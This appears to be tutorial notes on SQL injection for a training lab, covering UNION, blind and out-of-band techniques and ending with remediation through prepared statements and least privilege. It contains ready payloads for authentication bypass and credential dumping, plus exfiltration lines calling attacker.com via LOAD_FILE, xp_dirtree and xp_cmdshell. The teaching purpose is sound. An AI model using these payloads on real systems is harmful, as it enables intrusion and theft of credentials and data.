

SQL Injection Introduction

SQL Essentials for Injection

SQL Comments

denoted by `--` or `#` for single line comments

`/* */` for multiline

```
SELECT * FROM users WHERE username='admin'-- AND password='secret';
```

UNION

The `UNION` operator combines the results of two or more `SELECT` statements into a single result set. There is one critical rule: **both `SELECT` statements must return the same number of columns**, and the columns should have compatible data types.

```
SELECT name, age FROM students UNION SELECT username, id FROM admins;
```

Attackers use `UNION` to append their own `SELECT` statement to a legitimate query, pulling data from entirely different tables.

LIKE and Wildcards

The `LIKE` operator performs pattern matching on strings. The `%` wildcard matches any sequence of characters, and `_` matches exactly one character.

```
SELECT * FROM users WHERE username LIKE 'adm%';
```

This returns any username starting with "adm" (admin, administrator, etc.).

In Blind SQL Injection, attackers use `LIKE` with wildcards to enumerate data one character at a time — testing `LIKE 'a%'`, `LIKE 'b%'`, and so on until they find a match.

LIMIT

The `LIMIT` clause limits the number of rows returned. The syntax `LIMIT offset, count` lets you skip rows and control output size.

```
SELECT * FROM users LIMIT 1;      -- returns only the first row
SELECT * FROM users LIMIT 2, 1;   -- skips 2 rows, returns the 3rd
```

In injection payloads, `LIMIT` is often used to control which row is returned or to prevent the output from being overwhelmed by too many results.

String Functions

Two functions are especially useful when extracting data through injection:

- `group_concat()` aggregates values from multiple rows into a single comma-separated string. Instead of getting results row by row, you get everything at once:

```
SELECT group_concat(username, ': ', password SEPARATOR '<br>') FROM users;
-- Returns: admin:pass123<br>martin:secret<br>jim:work456
```

- `CONCAT()` joins individual values together: `CONCAT(username, ': ', password)` produces `admin:pass123` for a single row.

The information_schema Database

Every MySQL, MariaDB, and PostgreSQL server has a built-in database called `information_schema`

Two tables within `information_schema` are particularly valuable during SQL Injection:

- `information_schema.tables`: lists every table. The `table_schema` column holds the database name, and `table_name` holds the table name.
- `information_schema.columns`: lists every column.

The `table_name` and `column_name` columns let you discover the structure of any table.

When performing Union-Based injection, `information_schema` is how you go from "I can inject" to "I know every table and column in this database."

What is SQL Injection

occurs when a web application incorporates user-supplied input directly into a SQL query without proper sanitisation or parameterisation. The attacker's input is treated as SQL code rather than data, allowing them to alter the query's logic and interact with the database in ways the developer never intended.

How Web Applications Use SQL

Consider a blog application where each article has a unique ID. When you visit `https://website.thm/article?id=1`, the web server takes the value `1` from the URL and inserts it into a SQL query:

```
SELECT * FROM articles WHERE id = 1 AND public = 1;
```

The database returns the article with ID `1` (if it's public), and the web server renders it into the page you see. This is how most data-driven web applications work

Where the Vulnerability Lives

The problem arises when the application builds the query by directly concatenating user input into the SQL string. If the server-side code looks something like this:

```
$query = "SELECT * FROM articles WHERE id = " . $_GET['id'] . " AND public = 1;";
```

Then whatever you put in the `id` parameter becomes part of the SQL query. If you change the URL to `?id=1 OR 1=1--`, the query becomes:

```
SELECT * FROM articles WHERE id = 1 OR 1=1-- AND public = 1;
```

The `OR 1=1` makes the `WHERE` clause always true, and the `--` comments out the `AND public = 1` check. The database now returns every article, including private ones.

Three Types of SQL Injection

In-Band SQL Injection is when the results of the injection are returned directly in the web application's response. This is the most straightforward type. It has two subtypes:

- **Error-Based:** The database returns error messages that reveal information about its structure.
- **Union-Based:** The attacker uses `UNION` to append a second query and extract data through the page output.

Blind SQL Injection is when the application does not display query results or error messages. The attacker must infer information from indirect signals:

- **Authentication Bypass:** The login succeeds or fails based on the injected query.
- **Boolean-Based:** The application's response changes subtly (e.g., different content, true/false) based on whether a condition is true.

- **Time-Based:** The attacker uses `SLEEP()` to introduce a time delay and observes whether the response is slow (true) or fast (false).

Out-of-Band SQL Injection is when the attacker causes the database server to make an external network request (e.g., a DNS lookup) that exfiltrates data through a separate channel. This is used when neither in-band nor blind techniques are viable.

Detecting SQL Injection

Before you can exploit SQL Injection, you need to find it. As a penetration tester, you should test every input that interacts with the database. Common injection points include URL parameters, form fields (login, search, comment boxes), cookies, and HTTP headers.

The simplest detection method is to inject test characters and observe the response:

- Enter a single quote `'` : if the application returns a database error, the input is likely being inserted into a SQL query without proper handling.
- Try `"` (double quote): some queries use double quotes instead of single quotes.
- Enter `;` : if the application behaves differently (e.g., returns different content), the comment syntax is being processed.
- Test `OR 1=1` : if it changes the results, the input is directly in the query's logic.

Not every test will produce a visible error. If the application suppresses errors, you may need to rely on behavioural differences (Boolean-Based) or timing delays (Time-Based) to confirm injection.

In-Band SQL Injection

In-Band SQL Injection is the most common and easiest-to-exploit category.

You inject through a web request and see the extracted data right there in the page response

Error-Based SQL Injection

When a web application is misconfigured and shows raw database errors, these messages often leak valuable information about the query structure, table names, and even data.

For example, injecting a single quote `'` into a vulnerable parameter might produce an error like:

```
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''1'' at line 1
```

This tells you several things: the database is MySQL, the input is being wrapped in single quotes, and the application doesn't handle errors gracefully

While Error-Based Injection can reveal structural information, **Union-Based Injection** is the primary method for extracting large amounts of data.

Union-Based SQL Injection

Step 1: Determine the number of columns. The `UNION` operator requires that both queries have the same number of columns. You discover this by injecting `UNION SELECT` with an incrementing number of values until the error disappears:

```
1 UNION SELECT 1          -- error (wrong column count)
1 UNION SELECT 1,2        -- error (still wrong)
1 UNION SELECT 1,2,3      -- success! The table has 3 columns
```

Step 2: Identify which columns are displayed. Not all columns may be rendered on the page. Change the original query's value to something that returns no results (like `0`), so only the `UNION` output is displayed:

```
0 UNION SELECT 1,2,3
```

The numbers that appear on the page output tell you which column positions you can use for data extraction. If `3` appears in the content area, that is your extraction column.

Step 3: Extract the database name. Replace the visible column position with the `database()` function:

```
0 UNION SELECT 1,2,database()
```

This reveals the current database name — the first piece of the puzzle.

Step 4 — Enumerate tables. Use `information_schema.tables` to list all tables in the target database:

```
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema =
```

step 4 SQL :

```
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables
WHERE table_schema = 'database_name'
```

Step 5: Enumerate columns. Once you've identified an interesting table, get its column names:

```
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name =
```

Step 6: Extract data. With the table and column names known, extract the actual data:

```
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM target_table
```

This returns all usernames and passwords in a readable format.

step 5 SQL :

```
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns  
WHERE table_name = 'target_table'
```

step 6 SQL:

```
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM  
target_table
```

Blind SQL Injection: Authentication Bypass

Blind SQL Injection occurs when the application does not show query results or error messages to the user. The injection still works: the database still processes your malicious input, but you have no direct way to see the output.

How Authentication Queries Work

Most login forms work by sending the username and password to the server, which constructs a query like:

```
SELECT * FROM users WHERE username='bob' AND password='secret123' LIMIT 1;
```

The application checks whether this query returns any rows. If it returns a row, the credentials are valid, and you're logged in. If it returns nothing, the login fails. The application never displays the actual query results. It either redirects you to a dashboard or shows "Invalid credentials."

The Attack

The key insight is that you don't need to know a valid username or password. You just need to make the query return at least one row. Consider what happens if you enter the username ' OR 1=1;-- and anything in the password field. The server constructs:

```
SELECT * FROM users WHERE username='' OR 1=1;--' AND password='anything' LIMIT 1;
```

Let's break down what happens:

- `username=''` : checks for an empty username (no match)
- `OR 1=1` : this is always true, so the entire `WHERE` clause becomes true
- `;--` : the semicolon ends the statement, and `--` comments out everything after it, including the password check
- The database returns every row in the `users` table
- The application sees that rows were returned and logs you in as the first user (often the admin account)

Targeting a Specific User

Sometimes you want to log in as a specific account rather than whoever happens to be at the top of the table. If you know the admin's username, you can inject `admin'--`, which produces:

```
SELECT * FROM users WHERE username='admin'--' AND password='anything' LIMIT 1;
```

The password check is completely commented out. The database returns the admin row, and you're logged in as admin without needing the password.

Variations

The exact payload depends on the query structure. Some things to try:

- `' OR 1=1;--` is classic bypass, works when the username is wrapped in single quotes
- `' OR 1=1#` this uses `#` as the comment character (MySQL alternative)
- `" OR 1=1--` for queries that use double quotes around the input
- Try both the username and password fields: some applications only concatenate one of them into the query, so the vulnerable field may vary

Detection in the Field

When testing a login form during a penetration test, authentication bypass is one of the first things to try. Enter `' OR 1=1;--` in the username field and any string in the password field. If you're logged in, the form is vulnerable to SQL Injection.

Blind SQL Injection: Boolean and Timed-Based

Boolean-Based Blind SQL Injection

In Boolean-Based Blind SQLi, the application returns a binary signal. Some kind of true/false difference. Maybe different page content, a JSON response like `{"taken":true}` vs `{"taken":false}`, or a subtle change in the HTML. You use that two-state feedback to ask the database yes/no questions.

The idea: Imagine a username-check feature that tells you whether an account exists. `https://website.thm/checkuser?username=admin` returns `{"taken":true}` because admin is taken. `?username=admin123` returns `{"taken": false}` because that user does not exist.

If this input is injectable, the backend query probably looks like:

```
SELECT * FROM users WHERE username = '%username%' LIMIT 1;
```

By injecting a `UNION SELECT` with a condition, you can ask the database arbitrary yes/no questions and read the answer from the true/false response.

Step 1: Confirm injection. Inject a condition that is always true:

```
admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--
```

The `%` wildcard matches anything, so this should return true. If you see `{"taken":true}`, you know injection works.

Step 2: Guess the database name, character by character. Replace the wildcard with specific letters:

```
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'a%';--
```

False? Not 'a'. Try `b%`, `c%`, keep going. When the response flips to true, you have found the first letter. Then move to the second character: `sa%`, `sb%`, `sc%`, etc. and keep narrowing until you have the full name.

Step 3: Get table and column names. Same technique against `information_schema`:

```
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'db_name' AND t
```

Cycle through characters to find table names, repeat for column names with `information_schema.columns`, and then do it again for actual data values.

This is slow. Each character takes multiple requests. But it is reliable, and it works even when every other output channel is locked down.

Step 1 command:

```
admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--
```

Step 2 command:

```
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'a%';--
```

Step 3 command:

```
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'a%';--
```

Time-Based Blind SQL Injection

Time-Based Blind SQLi is for when the application gives you absolutely nothing to work with visually. The page looks identical no matter what you inject. Same content, same status code, same headers. Your only signal is **how long the response takes**.

MySQL's `SLEEP()` function pauses query execution for a set number of seconds. Wrap a condition around it, and the database only pauses when the condition is true:

```
admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 's%';--
```

If the database name starts with 's', the response takes around 5 seconds. If not, it comes back right away.

Step 1: Find the column count. Same idea as Union-Based. Try `UNION SELECT SLEEP(5)` and add columns until you see a delay:

```
admin123' UNION SELECT SLEEP(5);--      -- no delay (wrong count)
admin123' UNION SELECT SLEEP(5),2;--    -- 5 second delay (2 columns!)
```

Step 2: Enumerate data. The process is identical to the Boolean-Based one: cycle through characters with `LIKE`. But instead of checking the page content, you watch the clock. Delay means true. No delay means false.

A word of caution: Network latency can mess with time-based detection. On a flaky connection, a natural lag might look like a successful `SLEEP()`. Use longer sleep values (5-10 seconds) and test each character a couple of times to be sure. On MSSQL, the equivalent is `WAITFOR DELAY '0:0:5'`.

When To Use Which

Scenario	Technique
App shows different content for true vs false	Boolean-Based
App response looks identical, no matter what	Time-Based
Time-based is blocked or too unreliable	Out-of-Band (next task)

In the practical walkthrough (Task 9), Level 3 uses Boolean-Based SQLi via a username-check API that returns `{"taken":true/false}` responses. Level 4 moves to Time-Based SQLi via the Referrer header, with no visible difference in response.

step 1 command :

```
admin123' UNION SELECT SLEEP(5);--      -- no delay (wrong count)
admin123' UNION SELECT SLEEP(5),2;--    -- 5 second delay (2 columns!)
```

Out-of-Band SQL Injection

Instead of reading results through the web response, you force the database server to reach out to a server you control through a separate channel, usually DNS or HTTP, and carry the stolen data with it.

When You Need Out-Of-Band

OOB comes into play when everything else has failed:

- In-Band is off the table because the app does not show query results or errors.
- Boolean-Based does not work because the response looks the same regardless of the condition.

- Time-Based is unreliable because the network is too noisy, or `SLEEP()` is blocked.
- But the database server **can** make outbound connections. That last point is the requirement. If the firewall blocks all outbound traffic from the DB server, OOB is dead in the water.

You will not use OOB as often as In-Band or Blind, but when you hit a target where every other avenue is shut down, and the database has network access, it can be the only way to get data out.

How It Works

Two channels are involved:

1. The **attack channel**: your normal web request with the injection payload.
2. The **data channel**: an outbound network request (DNS or HTTP) that the database server makes to your server, with the exfiltrated data baked into the request itself.

DNS Exfiltration With MySQL

The most common OOB trick for MySQL uses `LOAD_FILE()` to trigger a DNS lookup. You embed the data you want as a subdomain:

```
SELECT LOAD_FILE(CONCAT('\\\\\\', (SELECT database()), '.attacker.com\\share'));
```

What happens:

1. `(SELECT database())` pulls the database name. Let's say it is `webapp_db`.
2. `CONCAT()` builds the string `\\\\webapp_db.attacker.com\\share`.
3. `LOAD_FILE()` tries to read that file path. On Windows, this initiates a DNS lookup for `webapp_db.attacker.com`.
4. Your DNS server catches the request and logs `webapp_db`. The data is in the subdomain.

This works best on Windows-based MySQL servers where UNC paths trigger DNS resolution.

MSSQL Techniques

Microsoft SQL Server has stored procedures that make OOB more direct:

`xp_dirtree` triggers a DNS lookup by trying to list a directory on a remote server:

```
EXEC master..xp_dirtree '\\attacker.com\\share';
```

`xp_cmdshell` (if it is enabled) runs OS commands directly, so you can use `nslookup` or `curl` to ship data out:

```
EXEC xp_cmdshell 'nslookup data.attacker.com';
```

`xp_cmdshell` is off by default in modern MSSQL, but `xp_dirtree` is still available and gets used regularly in pentests.

Receiving the Data

You need something listening on your end to catch what the database sends. A few options:

- **Burp Collaborator** gives you a unique subdomain and logs any DNS or HTTP requests to it. Inject the Collaborator domain into your payload, check the Collaborator tab for callbacks.
- **Interactsh** from ProjectDiscovery does the same thing but is free and can be self-hosted.
- A **custom listener**, like a Python DNS server with `dnslib` or a bare-bones HTTP server, if you want full control.

Limitations

OOB has constraints worth knowing about:

- The database server needs outbound network access (many production setups restrict this).
- Payloads are database-engine-specific. MySQL, MSSQL, and PostgreSQL each need different syntax.
- DNS exfiltration has a size limit: subdomain labels are limited to 63 characters each.
- It is generally slower and flakier than pulling data directly.

Remediation and Prevention

Prepared Statements (Parameterised Queries)

Prepared Statements (Parameterised Queries)

Prepared statements are the fix. The real one. They separate SQL code from data. The developer writes the query structure with placeholders for user input, and the database receives the input separately, treating it as data only. Never as executable SQL.

Vulnerable PHP code:

```
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "'";
$result = mysqli_query($conn, $query);
```

User input gets concatenated into the query string. An attacker can escape quotes and inject whatever they want.

Fixed with prepared statements (PDO):

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$result = $stmt->fetchAll();
```

The `?` is a placeholder. Whatever the user enters, even `' OR 1=1--`, the database treats the whole thing as a literal string. It never touches the query structure.

Vulnerable Python code:

```
query = f"SELECT * FROM users WHERE username='{username}'"
cursor.execute(query)
```

Fixed:

```
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
```

`%s` is a parameter placeholder. The MySQL connector handles escaping and binding for you.

Every language and framework supports this pattern. Define the query with placeholders, and pass user input as parameters. SQL Injection is gone because the input physically cannot change the query structure.

Input Validation

Input validation controls what the application accepts before anything reaches the database. The best approach is **allowlisting**: define exactly what is valid and reject everything else.

If a parameter should be a numeric article ID, check it:

```
if (!ctype_digit($_GET['id'])) {
    die("Invalid input");
}
```

Never rely on validation alone. Use it alongside prepared statements. Blocklisting (trying to filter out characters like `'` or `--`) is brittle. Attackers will find ways around your filter. Double encoding, alternate syntax, something you did not think of.

Escaping User Input

Escaping means putting a backslash before special characters so the database treats them as literals instead of syntax. ' becomes \'

Principle of Least Privilege

Even with good input handling, defence-in-depth means limiting the blast radius. The database account the web app uses should have the bare minimum permissions:

- Read-only application? The account gets `SELECT` privileges and nothing else.
- Never connect as `root` or `sa` from the application.
- Lock down access to sensitive tables so only the procedures that need them can reach them.

Web Application Firewalls (WAFs)

A WAF inspects incoming requests and blocks known attack patterns: `' OR 1=1` , `UNION SELECT` , `information_schema` , that kind of thing.

But WAFs are not a substitute for writing secure code. Experienced attackers bypass them with encoding tricks, alternative syntax, and obfuscation. Treat a WAF as an extra layer, not the defence.